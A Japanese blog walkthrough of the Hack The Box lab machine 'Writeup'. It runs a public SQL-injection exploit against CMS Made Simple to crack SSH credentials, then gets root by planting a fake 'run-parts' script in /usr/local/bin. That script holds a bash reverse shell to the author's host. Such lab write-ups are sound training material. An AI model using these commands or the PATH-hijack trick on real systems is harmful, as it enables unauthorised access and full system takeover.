Writeup 日本語でウォークスルー Hack The Box Machine:
Hack The BoxのWriteupのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はeasyとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。
目次
HTB Writeup ウォークスルー・ライトアップ Hack The Box
Summary
local shell取得まで
ターゲットポート:TCP 80(http)
脆弱性:ターゲットにはCMS Made Simple < 2.2.10 - SQL Injectionの脆弱性が内在していた。これを利用し、SSH用のクレデンシャル情報を入手した。
local権限を取得したユーザ:「jkr」
privilege Escalation取得まで
脆弱性:ターゲット上でSSHログイン時の「run-parts」を偽造した。これを利用して、「root」用のshellを取得した。
root権限を取得したユーザ:root
Information Gathering
ポートスキャン
それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。
nmapの結果、上画像の通り、TCPポート番号22(ssh)と80(http)が開いていることが分かりました。
また、「writeup」というフォルダがあることが分かりました。
まず、httpから調査していくことにしました。
ターゲットのhttpサービス調査(TCPポート番号80)
先程見つけた「writeup」にfirefoxを使ってアクセスした所、以下が表示されました。
Hack the Box上のマシンである「Blue」と「Ypuffy」の「Writeup」が記載されているようでした。
「Blue」と「Ypuffy」に関しては、私のサイトでも日本語でWriteupを書いています。以下をご参考ください。
Blue 日本語でウォークスルー Hack The Box Machine: – mopenten
Hack The BoxのBlueのウォークスルーです。難易度はeasyとなっています。 ※本記事はサイバー犯罪を助長するものではありません。悪用は厳禁です。 HTB Blue ウォークスルー サマリー local sh […]
Ypuffy 日本語でウォークスルー Hack The Box Machine: – mopenten
Hack The BoxのYpuffyのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。 ※本記事はサイバー犯罪を助長するものではありません。ハッキングやク […]
「Writeup」ページのソースコードを確認した所、「CMS Made Simple Copyright (C) 2004-2019」という記載がありました。
「CMS Made Simple」の脆弱性調査
「CMS Made Simple」の脆弱性を調査した所、CMS Made Simple < 2.2.10 - SQL Injectionを見つけました。
この脆弱性のスクリプトを「46635.py」としてダウンロードしました。以下コマンドで実行した所、クレデンシャル情報を入手できました。
python ./46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt

username:jkr password:raykayjay9
local shellの取得
SSHでアクセスする
先程入手したクレデンシャル情報を使ってSSHでターゲットにアクセスを試みました。
その結果、ユーザー「jkr」のshellを入手できました。
username:jkr password:raykayjay9

Privilege Escalation
Privilege Escalationのための脆弱性調査
続いてPrivilege Escalationのための脆弱性を調査していきました。
まず、「jkr」ユーザーが「staff」グループに所属していることが分かりました。(「id」コマンドの結果です。)
また、以下コマンドの結果により、「staff」グループに所属しているメンバーが書き込みを許可されているフォルダを探しました。
find / -group staff 2>/dev/null
上記の結果により、「/usr/local/bin」への書き込みが許可されていることが分かります。
また、SSHログイン時に実行される「run-parts」に着目しました。
以下の通り、「run-parts」が「/bin」に格納されていることが分かります。
また、「$PATH」を確認した所、「/usr/local/bin」の方が「/bin」より先に表示されていることが分かります。
これらの調査結果から、「run-parts」にreverse-shell用のスクリプトを仕込み、書き込み可能な「/usr/local/bin」へ格納する方法を検討することにしました。
「run-parts」にreverse-shell用のスクリプトを仕込む
以下のように「run-parts」を作成していきました。「xx.xx」は自分のマシンのIPアドレスです。
cd /usr/local/bin
touch run-parts
echo '#!/bin/bash' > run-parts
echo 'bash -i >& /dev/tcp/10.10.xx.xx/4455 0>&1' >> run-parts
chmod +x run-parts

SSHログインをして「run-parts」を実行する
自分のマシンでnetcatを仕掛けてから、新しいセッションでSSHログインを実施しました。(ユーザは「jkr」です。)
すると、以下の通り、仕掛けた「run-parts」が実行されて、reverse-shellを取得することができました。

flagを探す
user.txtは「/home/jkr」にありました。
root.txtは「/root」直下にありました。
以上で、Writeupのウォークスルーは終了です。
今まで記事にしたHack The Boxのマシンは以下にまとめています。
Hack The Box Machine: 日本語でWriteup/Walkthrough まとめ – mopenten
Hack The Boxのウォークスルー・ライトアップ(walkthrough/writeup)のまとめです。 いままで記事にしたマシンを一覧にしています。 Hack The Box 日本語でWriteup/Walkth […]